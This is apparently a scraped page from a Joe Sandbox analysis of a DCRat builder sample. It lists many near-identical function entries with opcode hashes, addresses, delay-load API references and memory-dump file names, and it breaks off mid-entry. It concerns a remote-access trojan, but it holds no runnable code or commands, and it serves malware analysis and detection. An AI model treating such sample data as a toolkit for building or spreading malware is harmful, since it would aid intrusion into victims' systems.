Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bde7a3785e135afc591d224fe0e218b1e25355c3fd9005bd23cd7e2cebfae57c
Instruction ID: 454d714b6083911facabaadf3c78328c3cac4003cb00b344be426440618682b8
Opcode Fuzzy Hash: bde7a3785e135afc591d224fe0e218b1e25355c3fd9005bd23cd7e2cebfae57c
Instruction Fuzzy Hash: 1EB0129226C0066C300C7245EC02F3E035FE4C4B10334C50BF109C0246D44C8C0A7833

Function 00FDDACF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0d18f195aacb5c58faf1aa88b60edf99a7fd48fe5f24780583b08d4d934df77d
Instruction ID: 07cf38d9e7dc4de52992eb68da5a95bed4902aff8ef954e3110d69a57c5c602b
Opcode Fuzzy Hash: 0d18f195aacb5c58faf1aa88b60edf99a7fd48fe5f24780583b08d4d934df77d
Instruction Fuzzy Hash: 66B012A226C006AC300C7245EC02E3E035EC5C0B10334C10BF509C0256D44C8C05B433

Function 00FDDBFC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDBD5

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4b29761a86e2fee6958e6788eadcced8d0acc480f2396d668253e7f8f90f120b
Instruction ID: eb786e7b248487f015c43b76aabc50662dd6224a576c01a1307a5f9c4ae45095
Opcode Fuzzy Hash: 4b29761a86e2fee6958e6788eadcced8d0acc480f2396d668253e7f8f90f120b
Instruction Fuzzy Hash: 2EB0129A36C00BAC300C5359ED47E3B032ED4C0B10334800BF209C0241DA448C097033

Function 00FDDBE8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDBD5

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: faf084df100cd493d069f04d7c915f948fd2447ee093e874fc010b55eb117824
Instruction ID: e61851319d038161797f7261854f53489f0fd584170162a593d25c88dc66de6a
Opcode Fuzzy Hash: faf084df100cd493d069f04d7c915f948fd2447ee093e874fc010b55eb117824
Instruction Fuzzy Hash: 7BB0129A36D00BEC300C5359EC47E3B033ED5C0B10334800BF509C1245DA448C0C7033

Function 00FDDBDE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDBD5

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fa93fb646ca39cb7f46a179eb4a72cd5874f82a04230b9b341076cf955cacd35
Instruction ID: 886adbea976c677f2d903f1c3b6fcab0f3c935f1fe7137afb99eac07c168131c
Opcode Fuzzy Hash: fa93fb646ca39cb7f46a179eb4a72cd5874f82a04230b9b341076cf955cacd35
Instruction Fuzzy Hash: 46B0129A36C00AAC30085369EC47F3A032FE4C0F10334401BF10AC0242DA448C4C7032

Function 00FDDBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDBD5

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9dbf62e1a1183257fa4998ed36a67d7eaa9abded429a89fd7d650360475962b7
Instruction ID: 9b12877e95de7fd816fb267bc3d02232e5a1d13bcd4db86ccab8d92bd9d8ba2e
Opcode Fuzzy Hash: 9dbf62e1a1183257fa4998ed36a67d7eaa9abded429a89fd7d650360475962b7
Instruction Fuzzy Hash: 23B0129A37C10FBC31081355EC47D3B032ED4C0B10334411BF105D0141DA448C4C7033

Function 00FDDB01 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 569e9abd6bb581aa3c86ad6c7d9ddc2aed06459367eac43cf5c4a032edf20f73
Instruction ID: 8ad4746b4f781f307aa5642266b4dec9ceb3e9e6cb5bc653f3b4ab34391567d0
Opcode Fuzzy Hash: 569e9abd6bb581aa3c86ad6c7d9ddc2aed06459367eac43cf5c4a032edf20f73
Instruction Fuzzy Hash: DAB012922AC10A6C300C7245EC42F3E035FE4C0B10334810BF009C0246D44C8C057533

Function 00FDDC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDC36

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2e6046d705f8d5fb93a1b6229afe5faca02475e750c76a0d557d836842d5b99b
Instruction ID: 998679394de0af45753c1889909461be8a0d6aa3e74f7383f9deb81618b9a8d2
Opcode Fuzzy Hash: 2e6046d705f8d5fb93a1b6229afe5faca02475e750c76a0d557d836842d5b99b
Instruction Fuzzy Hash: 31B0129A27C2056C300C6284EC02E36233ED4C0B10334450BF209D0350D6809C087032

Function 00FDDC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDC36

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6f21c2dc3fda861d073ee4c5fe76724c11848edefd0e4b7042e841193cfd8cbe
Instruction ID: c85ef4757c6bc3ab677c268b213b0b64ff6427e66f5433c152097eb39b360587
Opcode Fuzzy Hash: 6f21c2dc3fda861d073ee4c5fe76724c11848edefd0e4b7042e841193cfd8cbe
Instruction Fuzzy Hash: 9FB0129A27C1056C300C6284EC02E36233EC4C4B10334850BF609D0350D6809C087032

Function 00FDDC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDC36

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9cd3f474d540dacaab2f0cea59d37ebab06afe75feabf24ad9aa514ed62d8575
Instruction ID: 7804f80a110a8fe4a271f790a5824492c88805093d95e9d0553e694051dc8e29
Opcode Fuzzy Hash: 9cd3f474d540dacaab2f0cea59d37ebab06afe75feabf24ad9aa514ed62d8575
Instruction Fuzzy Hash: 95B0129A27C2097C300C2280EE02D36633FC5C0B10334460BF205E0250D6809C487032

Function 00FDD8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ede66c878ca39629343c112b410b53e64d616a577803c215334246d6a189ce93
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: ede66c878ca39629343c112b410b53e64d616a577803c215334246d6a189ce93
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7ba9915e7e6a2167d356ba6b22418572ab34acc029467638ad24dcb51fb7f916
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: 7ba9915e7e6a2167d356ba6b22418572ab34acc029467638ad24dcb51fb7f916
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8eec5a4e48f501dddb8f20d85d63473e7cd70c4249969fffbaf7abf7653c6595
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: 8eec5a4e48f501dddb8f20d85d63473e7cd70c4249969fffbaf7abf7653c6595
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 23378384b3a30067190cfb404f4d5b46389401e979fcd1ec483a9ee1f9019c76
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: 23378384b3a30067190cfb404f4d5b46389401e979fcd1ec483a9ee1f9019c76
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD979 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: aef62845a06643d369f35c2023db39ee51a2d1d75c95f4731bc3cce4306fa4b0
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: aef62845a06643d369f35c2023db39ee51a2d1d75c95f4731bc3cce4306fa4b0
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: af64625fb051f45214b16814692c3dfd1ab94b061653a03ec2b5656b9b91c99b
Instruction ID: abe7ac6ac52f68c08c7eeb3fe131c09ee4f8022092f798bf6d954907c464a5f4
Opcode Fuzzy Hash: af64625fb051f45214b16814692c3dfd1ab94b061653a03ec2b5656b9b91c99b
Instruction Fuzzy Hash: 92A012D216C0067C30092200EC06D3A031DC8C0B15334440BB006901C0944068053432

Function 00FDD965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
